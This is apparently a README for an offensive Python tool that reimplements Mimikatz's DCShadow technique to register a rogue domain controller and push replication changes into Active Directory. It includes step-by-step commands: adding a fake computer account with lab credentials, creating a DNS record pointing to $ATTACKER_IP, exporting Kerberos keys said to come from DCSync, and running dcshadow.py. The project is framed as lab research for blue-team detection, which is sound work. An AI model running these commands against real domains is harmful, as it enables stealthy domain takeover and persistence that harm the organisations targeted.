
Python alternative to Mimikatz lsadump::dcshadow
[!WARNING] 请勿在生产环境运行。本工具仅用于实验室测试,供蓝队识别 IoC、事件类型和行为。 此外,本工具按原样提供。除您可能创建的拉取请求的标准审查外,暂无支持计划。 不要在 Windows 主机上运行。请在 Linux 或虚拟机中运行(以避免 RPC 服务冲突)。
本项目旨在成为 Mimikatz dcshadow 技术的纯 Python 替代方案。其中包含一个自定义 Impacket,且对 crypto、gssapi 和 drsuapi 等进行了修改。
DCShadow 是一种强大的持久化技术,可视为其他技术(如 SID 历史、KRBTGT RBCD、ACE 滥用 等)的传输载体。
该工具可以成为更通用的 AD 持久化框架的基础,供我们的社区使用,以提高我们在这一问题上的整体成熟度。
该工具已在 GOAD 上完成测试。
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket
在复制期间,该机器将注册为域控制器,并在结束时取消注册。
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug
[!WARNING] adcomputer.py 已被修改,将
msDS-SupportedEncryptionTypes设置为0x1f。最新测试似乎会引发约束冲突。[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket Traceback (most recent call last): File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps raise Exception(str(ldapConn.result)) Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'} [-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}目前,请使用 Impacket 自带的 addcomputer.py 脚本,并通过 ADSI 编辑手动修改
msDS-SupportedEncryptionTypes。
这是为了让合法 DC 知道如何访问恶意 DC,并避免出现 ERROR_DS_DNS_LOOKUP_FAILURE 错误。
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"
[!TIP] 如果命令因某些原因无法生效,可以通过域控制器上的 DNS 工具手动添加 DNS 记录。
在开发该工具之初,我们使用 .env 文件中的硬编码凭据,并在 dcshadow/utils/server/RpcServer.py 文件的 gss_kerberos_ap_req 函数中加载。
这显然需要改进。恶意 DC 账户的密码可以通过命令行参数传入,并计算出 Kerberos 密钥。Krbrelayx 已经实现了这一点,dacledit.py 也如此,只需复制粘贴即可。
目前,您需要将 Kerberos 密钥导出为环境变量。
应如下所示:
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc
这些密钥可通过 DCSync 攻击获取。
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"
[!TIP] 在此示例中,使用
repl.json文件来指定目标对象和属性。此外,该工具还支持内联选项(例如--object、--attribute和--value)。
如果 DRSReplicaAdd 超时,很可能是运行 dcshadow.py(恶意 DC)的机器存在网络/防火墙问题,未允许 135/TCP(epmapper)和 1337/TCP(如果将来实现动态端口,则为 drsuapi)上的入站流量。
您需要在合法域控制器上运行 Wireshark,但最可能的根本原因是您在 Windows 机器上运行该工具。这意味着当合法 DC 向恶意 DC 的 epmapper 询问 drsuapi 端点的端口时,应答为空,因为响应的是您自己 Windows 机器的 epmapper,而不是我们自定义的 epmapper。
如果没有在开发过程中遇到的才华横溢的研究者 Alessandro Iandoli "MrAle98" 的巨大帮助,本项目不可能完成。感谢 Alessandro!
感谢 Benjamin Delpy 和 Vincent Letoux 的初始发现、演讲以及在 Mimikatz 中的实现。
我还要感谢 Volker,他参与了早期开发。
感谢 Dramelac 帮助将 PoC 转化为模块化项目,成为未来框架的基础,如果有那一天的话。